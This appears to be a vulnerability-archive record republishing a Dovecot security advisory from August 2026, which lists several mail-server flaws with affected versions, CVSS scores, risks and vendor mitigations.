attacker that can send mail to a user can craft a message header that makes the IMAP THREAD command consume CPU disproportionate to the size of the message. Risk: When a mail client issues a THREAD command on the affected mailbox, this can cause degradation or denial of service for IMAP. No publicly available exploits are known. Solution: Monitor system for abnormal CPU usage, kill the offending process and remove the offending message from the affected mailbox. Update to non-vulnerable version. --- Internal reference: DOV-8991 Type: CWE-124 (Buffer Underwrite ('Buffer Underflow')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-04-02 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: ilyar@yeswehack CVE: CVE-2026-40013 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) Details: pigeonhole: Stack Buffer Underflow in Pigeonhole ManageSieve CHECKSCRIPT/PUTSCRIPT. An attacker that has valid credentials can submit a Sieve script containing an extreme numeric literal, which causes an out-of-bounds write when the ManageSieve service compiles the script. Risk: This causes memory corruption and an observed crash of the ManageSieve process, resulting in denial of service for script management. This might be able to be used for re mote code execution. No publicly available exploits are known. Solution: Disable the ManageSieve service if users do not need remote Sieve script management. Update to non-vulnerable version. --- Internal reference: DOV-8994 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-04-02 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: ilyar@yeswehack CVE: CVE-2026-33605 CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Details: managesieve-login: Pre-auth crash. An unauthenticated attacker can crash the ManageSieve login process by sending a small malformed command before authenticating. Risk: If running in high-security mode (default for community releases), only the attacker's own connection is terminated. If running in high-performance mode (default for Pro releases), all connections handled by the same managesieve-login process are terminated. Repeating the attack can cause denial of service for Sieve script management. No publicly available exploits are known. Solution: Restrict network access to the ManageSieve service to trusted clients. Update to non-vulnerable version. --- Internal reference: DOV-9039 Type: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-04-08 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: tipsennn@yeswehack CVE: CVE-2026-40018 CVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N) Details: MySQL multi-byte escaping wrong. None Risk: None No publicly available exploits are known. Solution: None --- Internal reference: DOV-9041 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot CE core >=2.4.3 <2.4.5 First fixed revision: OX Dovecot CE core 2.4.5 Discovery date: 2026-04-08 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: ilyar@yeswehack CVE: CVE-2026-4
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Credits
Relationships
reference GCVE-1988-2026-0382 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Security Advisory",
          "vendor": "Dovecot",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Aki Tuomi"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi!\n\nWe\u0027re sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those \nvulnerabilities. This advisory will also be published at \nhttps://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0003.html\n\n---\n\nClassification: TLP:GREEN\n\nInternal reference: DOV-8476\nType: CWE-403 (Exposure of File Descriptor to Unintended Control Sphere (\u0027File Descriptor Leak\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2025-11-25\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nCVE: CVE-2026-33263\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nsubmission-login: Panic when mail_max_userip_connections is reached: Panic: epoll_ctl(del, 8) failed: Bad file \ndescriptor. When mail_max_userip_connections is set (defaul\nt 10) and reached, submission-login can crash with epoll() panic caused by file descriptor handling issues.\n\nRisk:\nIf running in high-security mode (default for community releases), only the new submission connection gets terminated. \nIf running in high-performance mode (default for Pr\no releases), all connections handled by the submission-login process will be terminated. The crashes can cause failure \nfor user to send a message, or it can cause duplica\nte messages to be sent. If TLS is not used (in the backend server processing the submission), duplicate deliveries \ncannot happen, because the crash can only happen at AUT\nH stage. No publicly available exploits are known.\n\nSolution:\nLimit the number of connections handled by single submission-login process. This has a performance impact though. \nUpdate to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8874\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c3.0.7, OX Dovecot Pro core \u003e=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \n\u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5\nDiscovery date: 2026-03-11\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ylwango613@yeswehack\nCVE: CVE-2026-33607\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nDovecot IMAP LIST match_sub() Exponential Backtracking \u2014 CPU Denial of Service. An attacker that has valid credentials \ncan use IMAP LIST command to consume CPU.\n\nRisk:\nThis can cause degradation or denial of service for IMAP. No publicly available exploits are known.\n\nSolution:\nMonitor system for abnormal CPU usage and kill the offending process and lock account. Alternatively install fixed \nversion.\n\n\n\n---\n\n\n\nInternal reference: DOV-8884\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-13\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nCVE: CVE-2026-27852\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nDoS by sending mail with bad header. An attacker that can send mail to a user can craft a message whose headers contain \na very large number of email addresses or MIME par\nameters, which causes excessive memory usage when the message is later parsed.\n\nRisk:\nThe message is still delivered, but reading it over IMAP can exhaust the memory limit of the process and terminate it, \ncausing denial of service for the affected user. No\n publicly available exploits are known.\n\nSolution:\nUpdate to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8941\nType: CWE-93 (Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-24\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: thanos_haruki@yeswehack\nCVE: CVE-2026-33606\nCVSS: 4.8 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N)\n\nDetails:\ndsync: Mail content can cause dsync protocol injection. Mail content stored by a user can be crafted so that it is \ninterpreted as dsync protocol commands when an administ\nrator later runs dsync with the stream protocol, for example during a migration.\n\nRisk:\nInjected commands can modify mailbox state on the destination during migration or replication, including internal \nmailbox attributes that a user should not be able to set\n directly. It can also cause dsync errors. No publicly available exploits are known.\n\nSolution:\nAvoid running dsync with the stream protocol on mailboxes with untrusted content. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8947\nType: CWE-655 (Insufficient Psychological Acceptability)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-24\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: heckintosh@yeswehack\nCVE: CVE-2026-33604\nCVSS: 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)\n\nDetails:\nSMTP Smuggling via Missing Dot-Stuffing After Bare Carriage Return. An attacker that can get Dovecot to relay a \nmessage, for example through Sieve redirect or submission \nrelay, can use a crafted line ending in the message body to bypass the outbound protection that prevents message \ncontent from being interpreted as SMTP commands.\n\nRisk:\nA downstream mail server that hasn\u0027t yet fixed the SMTP smuggling vulnerability can be tricked into treating part of \nthe message body as new SMTP commands, allowing injec\ntion of spoofed email. This is the same vulnerability class as CVE-2023-51764 and CVE-2023-51766. No publicly available \nexploits are known.\n\nSolution:\nWhere you control the receiving mail servers, ensure they reject bare carriage returns in message data. Update to \nnon-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8949\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-24\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: djvirus@yeswehack\nCVE: CVE-2026-40014\nCVSS: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)\n\nDetails:\nIMAP THREAD REFERENCES O(N\u00b2) CPU DoS via Crafted References Header (index-thread-links.c). An attacker that can send \nmail to a user can craft a message header that makes \nthe IMAP THREAD command consume CPU disproportionate to the size of the message.\n\nRisk:\nWhen a mail client issues a THREAD command on the affected mailbox, this can cause degradation or denial of service for \nIMAP. No publicly available exploits are known.\n\nSolution:\nMonitor system for abnormal CPU usage, kill the offending process and remove the offending message from the affected \nmailbox. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8991\nType: CWE-124 (Buffer Underwrite (\u0027Buffer Underflow\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-04-02\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-40013\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\npigeonhole: Stack Buffer Underflow in Pigeonhole ManageSieve CHECKSCRIPT/PUTSCRIPT. An attacker that has valid \ncredentials can submit a Sieve script containing an extreme\n numeric literal, which causes an out-of-bounds write when the ManageSieve service compiles the script.\n\nRisk:\nThis causes memory corruption and an observed crash of the ManageSieve process, resulting in denial of service for \nscript management. This might be able to be used for re\nmote code execution. No publicly available exploits are known.\n\nSolution:\nDisable the ManageSieve service if users do not need remote Sieve script management. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8994\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-04-02\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-33605\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nmanagesieve-login: Pre-auth crash. An unauthenticated attacker can crash the ManageSieve login process by sending a \nsmall malformed command before authenticating.\n\nRisk:\nIf running in high-security mode (default for community releases), only the attacker\u0027s own connection is terminated. If \nrunning in high-performance mode (default for Pro \nreleases), all connections handled by the same managesieve-login process are terminated. Repeating the attack can cause \ndenial of service for Sieve script management. No \npublicly available exploits are known.\n\nSolution:\nRestrict network access to the ManageSieve service to trusted clients. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-9039\nType: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5\nDiscovery date: 2026-04-08\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: tipsennn@yeswehack\nCVE: CVE-2026-40018\nCVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\nDetails:\nMySQL multi-byte escaping wrong. None\n\nRisk:\nNone No publicly available exploits are known.\n\nSolution:\nNone\n\n\n\n---\n\n\n\nInternal reference: DOV-9041\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot CE core \u003e=2.4.3 \u003c2.4.5\nFirst fixed revision: OX Dovecot CE core 2.4.5\nDiscovery date: 2026-04-08\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-4"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1050",
              "description": "CWE-1050",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-124",
              "description": "CWE-124",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-125",
              "description": "CWE-125",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-200",
              "description": "CWE-200",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-284",
              "description": "CWE-284",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-287",
              "description": "CWE-287",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-400",
              "description": "CWE-400",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-403",
              "description": "CWE-403",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-416",
              "description": "CWE-416",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-655",
              "description": "CWE-655",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-674",
              "description": "CWE-674",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-89",
              "description": "CWE-89",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-93",
              "description": "CWE-93",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:55:53Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/116"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/116"
        },
        {
          "url": "https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0003.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/116"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Dovecot Security Advisory 3/2026",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2023-51764",
              "type": "related"
            },
            {
              "destId": "CVE-2023-51766",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27852",
              "type": "related"
            },
            {
              "destId": "CVE-2026-33263",
              "type": "related"
            },
            {
              "destId": "CVE-2026-33604",
              "type": "related"
            },
            {
              "destId": "CVE-2026-33605",
              "type": "related"
            },
            {
              "destId": "CVE-2026-33606",
              "type": "related"
            },
            {
              "destId": "CVE-2026-33607",
              "type": "related"
            },
            {
              "destId": "CVE-2026-40013",
              "type": "related"
            },
            {
              "destId": "CVE-2026-40014",
              "type": "related"
            },
            {
              "destId": "CVE-2026-40015",
              "type": "related"
            },
            {
              "destId": "CVE-2026-40017",
              "type": "related"
            },
            {
              "destId": "CVE-2026-40018",
              "type": "related"
            },
            {
              "destId": "CVE-2026-40019",
              "type": "related"
            },
            {
              "destId": "CVE-2026-40203",
              "type": "related"
            },
            {
              "destId": "CVE-2026-40204",
              "type": "related"
            },
            {
              "destId": "CVE-2026-40205",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42007",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42008",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42391",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42392",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42393",
              "type": "related"
            },
            {
              "destId": "CVE-2026-42395",
              "type": "related"
            },
            {
              "destId": "CVE-2026-52681",
              "type": "related"
            },
            {
              "destId": "CVE-2026-52687",
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GCVE-1988-2026-0020

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:55
VLAI
Title
Dovecot Security Advisory 3/2026
Summary
Hi! We're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those vulnerabilities. This advisory will also be published at https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0003.html --- Classification: TLP:GREEN Internal reference: DOV-8476 Type: CWE-403 (Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2025-11-25 Solution date: 2026-08-26 Disclosure date: 2026-08-26 CVE: CVE-2026-33263 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) Details: submission-login: Panic when mail_max_userip_connections is reached: Panic: epoll_ctl(del, 8) failed: Bad file descriptor. When mail_max_userip_connections is set (defaul t 10) and reached, submission-login can crash with epoll() panic caused by file descriptor handling issues. Risk: If running in high-security mode (default for community releases), only the new submission connection gets terminated. If running in high-performance mode (default for Pr o releases), all connections handled by the submission-login process will be terminated. The crashes can cause failure for user to send a message, or it can cause duplica te messages to be sent. If TLS is not used (in the backend server processing the submission), duplicate deliveries cannot happen, because the crash can only happen at AUT H stage. No publicly available exploits are known. Solution: Limit the number of connections handled by single submission-login process. This has a performance impact though. Update to non-vulnerable version. --- Internal reference: DOV-8874 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <3.0.7, OX Dovecot Pro core >=3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-11 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: ylwango613@yeswehack CVE: CVE-2026-33607 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) Details: Dovecot IMAP LIST match_sub() Exponential Backtracking — CPU Denial of Service. An attacker that has valid credentials can use IMAP LIST command to consume CPU. Risk: This can cause degradation or denial of service for IMAP. No publicly available exploits are known. Solution: Monitor system for abnormal CPU usage and kill the offending process and lock account. Alternatively install fixed version. --- Internal reference: DOV-8884 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-13 Solution date: 2026-08-26 Disclosure date: 2026-08-26 CVE: CVE-2026-27852 CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Details: DoS by sending mail with bad header. An attacker that can send mail to a user can craft a message whose headers contain a very large number of email addresses or MIME par ameters, which causes excessive memory usage when the message is later parsed. Risk: The message is still delivered, but reading it over IMAP can exhaust the memory limit of the process and terminate it, causing denial of service for the affected user. No publicly available exploits are known. Solution: Update to non-vulnerable version. --- Internal reference: DOV-8941 Type: CWE-93 (Improper Neutralization of CRLF Sequences ('CRLF Injection')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-24 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: thanos_haruki@yeswehack CVE: CVE-2026-33606 CVSS: 4.8 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N) Details: dsync: Mail content can cause dsync protocol injection. Mail content stored by a user can be crafted so that it is interpreted as dsync protocol commands when an administ rator later runs dsync with the stream protocol, for example during a migration. Risk: Injected commands can modify mailbox state on the destination during migration or replication, including internal mailbox attributes that a user should not be able to set directly. It can also cause dsync errors. No publicly available exploits are known. Solution: Avoid running dsync with the stream protocol on mailboxes with untrusted content. Update to non-vulnerable version. --- Internal reference: DOV-8947 Type: CWE-655 (Insufficient Psychological Acceptability) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-24 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: heckintosh@yeswehack CVE: CVE-2026-33604 CVSS: 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N) Details: SMTP Smuggling via Missing Dot-Stuffing After Bare Carriage Return. An attacker that can get Dovecot to relay a message, for example through Sieve redirect or submission relay, can use a crafted line ending in the message body to bypass the outbound protection that prevents message content from being interpreted as SMTP commands. Risk: A downstream mail server that hasn't yet fixed the SMTP smuggling vulnerability can be tricked into treating part of the message body as new SMTP commands, allowing injec tion of spoofed email. This is the same vulnerability class as CVE-2023-51764 and CVE-2023-51766. No publicly available exploits are known. Solution: Where you control the receiving mail servers, ensure they reject bare carriage returns in message data. Update to non-vulnerable version. --- Internal reference: DOV-8949 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-03-24 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: djvirus@yeswehack CVE: CVE-2026-40014 CVSS: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) Details: IMAP THREAD REFERENCES O(N²) CPU DoS via Crafted References Header (index-thread-links.c). An attacker that can send mail to a user can craft a message header that makes the IMAP THREAD command consume CPU disproportionate to the size of the message. Risk: When a mail client issues a THREAD command on the affected mailbox, this can cause degradation or denial of service for IMAP. No publicly available exploits are known. Solution: Monitor system for abnormal CPU usage, kill the offending process and remove the offending message from the affected mailbox. Update to non-vulnerable version. --- Internal reference: DOV-8991 Type: CWE-124 (Buffer Underwrite ('Buffer Underflow')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5 Discovery date: 2026-04-02 Solution date: 2026-08-26 Disclosure date: 2026-08-26 Researcher credits: ilyar@yeswehack CVE: CVE-2026-40013 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) Details: pigeonhole: Stack Buffer Underflow in Pigeonhole ManageSieve CHECKSCRIPT/PUTSCRIPT. An attacker that has valid credentials can submit a Sieve script containing an extreme numeric literal, which causes an out-of-bounds write when the ManageSieve service compiles the script. Risk: This causes memory corruption and an observed crash of the ManageSieve process, resulting in denial of service for script management. This might be able to be used for re mote code execution. No publicly available exploits are known. Solution: Disable the ManageSieve service if users do not need remote Sieve script management. Update to non-vulnerable version. --- Internal reference: DOV-8994 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Affected versions: OX Dovecot Pro core >=2.3.0 <2.3.22.2, OX Dovecot Pro core >=3.0.0 <3.0.7, OX Dovecot Pro core =3.1.0 <3.1.6, OX Dovecot CE core >=2.3.0 <2.4.5 First fixed 